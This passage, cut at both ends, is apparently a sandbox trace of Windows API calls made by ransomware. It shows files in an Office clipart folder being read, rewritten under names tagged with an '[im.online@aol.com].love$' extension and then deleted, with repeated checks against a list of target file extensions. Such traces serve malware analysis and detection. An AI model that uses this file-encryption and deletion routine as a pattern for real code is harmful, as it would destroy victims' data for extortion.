dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.071] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.072] GetLastError () returned 0x0 [0117.072] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x319e, lpOverlapped=0x0) returned 1 [0117.291] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x31a0, lpOverlapped=0x0) returned 1 [0117.292] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.293] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.293] SetEndOfFile (hFile=0x374) returned 1 [0117.294] CloseHandle (hObject=0x374) returned 1 [0117.295] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.295] SetEndOfFile (hFile=0x394) returned 1 [0117.296] CloseHandle (hObject=0x394) returned 1 [0117.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0117.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.621] lstrlenW (lpString=".doc") returned 4 [0117.621] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.621] lstrlenW (lpString=".docx") returned 5 [0117.621] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.621] lstrlenW (lpString=".pdf") returned 4 [0117.621] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.621] lstrlenW (lpString=".xls") returned 4 [0117.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.621] lstrlenW (lpString=".xlsx") returned 5 [0117.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.621] lstrlenW (lpString=".ppt") returned 4 [0117.621] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.621] lstrlenW (lpString=".zip") returned 4 [0117.621] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.621] lstrlenW (lpString=".rar") returned 4 [0117.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString=".bz2") returned 4 [0117.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.622] lstrlenW (lpString=".7z") returned 3 [0117.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString=".dbf") returned 4 [0117.622] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString=".1cd") returned 4 [0117.622] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString=".jpg") returned 4 [0117.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString=".doc") returned 4 [0117.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.622] lstrlenW (lpString=".docx") returned 5 [0117.622] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.622] lstrlenW (lpString=".pdf") returned 4 [0117.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString=".xls") returned 4 [0117.622] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString=".xlsx") returned 5 [0117.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.622] lstrlenW (lpString=".ppt") returned 4 [0117.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.622] lstrlenW (lpString=".zip") returned 4 [0117.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString=".rar") returned 4 [0117.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.622] lstrlenW (lpString=".bz2") returned 4 [0117.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.622] lstrlenW (lpString=".7z") returned 3 [0117.623] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.623] lstrlenW (lpString=".dbf") returned 4 [0117.623] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.623] lstrlenW (lpString=".1cd") returned 4 [0117.623] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0117.623] lstrlenW (lpString=".jpg") returned 4 [0117.623] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.623] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.623] lstrlenW (lpString="AG00130_.GIF") returned 12 [0117.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.624] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=5253) returned 1 [0117.624] CloseHandle (hObject=0x2b8) returned 1 [0117.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0117.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.625] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.625] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0117.625] GetLastError () returned 0x0 [0117.625] ReadFile (in: hFile=0x2b8, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x1485, lpOverlapped=0x0) returned 1 [0117.630] WriteFile (in: hFile=0x354, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x1490, lpOverlapped=0x0) returned 1 [0117.631] ReadFile (in: hFile=0x2b8, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.631] WriteFile (in: hFile=0x354, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.631] SetEndOfFile (hFile=0x354) returned 1 [0117.631] CloseHandle (hObject=0x354) returned 1 [0117.633] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.633] SetEndOfFile (hFile=0x2b8) returned 1 [0117.634] CloseHandle (hObject=0x2b8) returned 1 [0117.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0117.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.635] lstrlenW (lpString=".doc") returned 4 [0117.635] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.635] lstrlenW (lpString=".docx") returned 5 [0117.635] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.635] lstrlenW (lpString=".pdf") returned 4 [0117.635] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.635] lstrlenW (lpString=".xls") returned 4 [0117.635] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.635] lstrlenW (lpString=".xlsx") returned 5 [0117.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.635] lstrlenW (lpString=".ppt") returned 4 [0117.635] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.635] lstrlenW (lpString=".zip") returned 4 [0117.635] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.635] lstrlenW (lpString=".rar") returned 4 [0117.635] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.635] lstrlenW (lpString=".bz2") returned 4 [0117.635] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.635] lstrlenW (lpString=".7z") returned 3 [0117.635] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.635] lstrlenW (lpString=".dbf") returned 4 [0117.635] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.635] lstrlenW (lpString=".1cd") returned 4 [0117.636] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".jpg") returned 4 [0117.636] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".doc") returned 4 [0117.636] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.636] lstrlenW (lpString=".docx") returned 5 [0117.636] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.636] lstrlenW (lpString=".pdf") returned 4 [0117.636] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString=".xls") returned 4 [0117.636] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString=".xlsx") returned 5 [0117.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.636] lstrlenW (lpString=".ppt") returned 4 [0117.636] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".zip") returned 4 [0117.636] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString=".rar") returned 4 [0117.636] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.636] lstrlenW (lpString=".bz2") returned 4 [0117.636] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.636] lstrlenW (lpString=".7z") returned 3 [0117.636] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".dbf") returned 4 [0117.636] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".1cd") returned 4 [0117.636] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 68 [0117.636] lstrlenW (lpString=".jpg") returned 4 [0117.637] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.637] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.637] lstrlenW (lpString="AG00139_.GIF") returned 12 [0117.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0117.638] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=10607) returned 1 [0117.638] CloseHandle (hObject=0x354) returned 1 [0117.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0117.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.640] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.640] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0117.641] GetLastError () returned 0x0 [0117.641] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x296f, lpOverlapped=0x0) returned 1 [0117.651] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0x2970, lpOverlapped=0x0) returned 1 [0117.652] ReadFile (in: hFile=0x394, lpBuffer=0x3b19020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesRead=0x30dfecc*=0x0, lpOverlapped=0x0) returned 1 [0117.652] WriteFile (in: hFile=0x374, lpBuffer=0x3b19020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b19020*, lpNumberOfBytesWritten=0x30dfc94*=0xec, lpOverlapped=0x0) returned 1 [0117.652] SetEndOfFile (hFile=0x374) returned 1 [0117.652] CloseHandle (hObject=0x374) returned 1 [0117.654] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.654] SetEndOfFile (hFile=0x394) returned 1 [0117.655] CloseHandle (hObject=0x394) returned 1 [0117.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0117.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.655] lstrlenW (lpString=".doc") returned 4 [0117.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.655] lstrlenW (lpString=".docx") returned 5 [0117.655] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.655] lstrlenW (lpString=".pdf") returned 4 [0117.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.655] lstrlenW (lpString=".xls") returned 4 [0117.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString=".xlsx") returned 5 [0117.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.656] lstrlenW (lpString=".ppt") returned 4 [0117.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString=".zip") returned 4 [0117.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString=".rar") returned 4 [0117.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString=".bz2") returned 4 [0117.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.656] lstrlenW (lpString=".7z") returned 3 [0117.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString=".dbf") returned 4 [0117.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString=".1cd") returned 4 [0117.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString=".jpg") returned 4 [0117.656] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.656] lstrlenW (lpString=".doc") returned 4 [0117.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.656] lstrlenW (lpString=".docx") returned 5 [0117.656] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.656] lstrlenW (lpString=".pdf") returned 4 [0117.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString=".xls") returned 4 [0117.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.656] lstrlenW (lpString=".xlsx") returned 5 [0117.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.657] lstrlenW (lpString=".ppt") returned 4 [0117.657] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.657] lstrlenW (lpString=".zip") returned 4 [0117.657] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.657] lstrlenW (lpString=".rar") returned 4 [0117.657] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.657] lstrlenW (lpString=".bz2") returned 4 [0117.657] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.657] lstrlenW (lpString=".7z") returned 3 [0117.657] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.657] lstrlenW (lpString=".dbf") returned 4 [0117.657] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.657] lstrlenW (lpString=".1cd") returned 4 [0117.657] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0117.657] lstrlenW (lpString=".jpg") returned 4 [0117.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.657] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.657] lstrlenW (lpString="AG00142_.GIF") returned 12 [0117.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.660] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=15308) returned 1 [0117.660] CloseHandle (hObject=0x394) returned 1 [0117.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0117.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0117.660] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.660] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program 